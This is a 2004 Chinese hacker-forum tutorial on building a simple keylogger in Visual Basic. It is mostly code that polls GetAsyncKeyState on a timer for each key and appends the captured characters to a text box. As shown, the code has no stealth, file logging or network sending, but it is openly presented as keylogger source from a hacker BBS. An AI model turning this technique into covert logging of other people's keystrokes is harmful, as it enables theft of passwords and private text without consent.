手把手教你做键盘记录器

韩冰发表于 2004-10-4 12:04

<P>作者：小珂转自黑基BBS原创作品版
版权归黑客基地所有，转载请注明出处</P>
<P>前几天写了一篇键盘记录器，好多人反映看不懂，
对新人没什么用处，所以且这篇我会写的
很详细，再也不像那篇，出了代码什么也没 ^!^
这个程序将会详细的讲解如何记载键盘的每一次输入。
下面介绍的这个程序主要是利用GetAsyncKeyState函数，
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数，如果被按下则最高位为1，
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义：
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了，函数就先介绍这么多，下面开始动手实战了
first,当然是创建窗口了

在时间控件的Timer时间中定义检查按键类型，代码如下：
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
      AddKey = " "
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
      AddKey = ";"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
      AddKey = "="
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
      AddKey = ","
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
      AddKey = "-"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
      AddKey = "."
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
      AddKey = "/" '/
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
      AddKey = "`" '`
      GoTo KeyFound
End If


'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
      AddKey = "0"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
      AddKey = "1"
      GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
      AddKey = "2"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
      AddKey = "3"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
      AddKey = "4"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
      AddKey = "5"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
      AddKey = "6"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
      AddKey = "7"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
      AddKey = "8"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
      AddKey = "9"
      GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
      AddKey = "*"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
      AddKey = "+"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
      AddKey = ""
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
      AddKey = "-"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
      AddKey = "."
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
      AddKey = "/"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
      AddKey = "\"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
      AddKey = "'"
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
      AddKey = "]"


      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
      AddKey = "["
      GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(16) 'shift键
If KeyResult = -32767 And TimeOut = 0 Then
      AddKey = ""
      LastKey = AddKey
      TimeOut = 1
      GoTo KeyFound
      End If

KeyLoop = 41

Do Until KeyLoop = 256 ' 显示其他键
      KeyResult = GetAsyncKeyState(KeyLoop)
      If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
      KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound: '显示键的信息

Text1 = Text1 & AddKey
End Sub
上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，……
由于数目太多，一一列举不方便
现提供Ascii表一份供对照
http://www.cstudy.cn/repository/ascii/default.htm
下面是其他的事件
Private Sub Timer2_Timer()
TimeOut = 0
End Sub
目的是随时刷新清空
</P>

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手把手教你做键盘记录器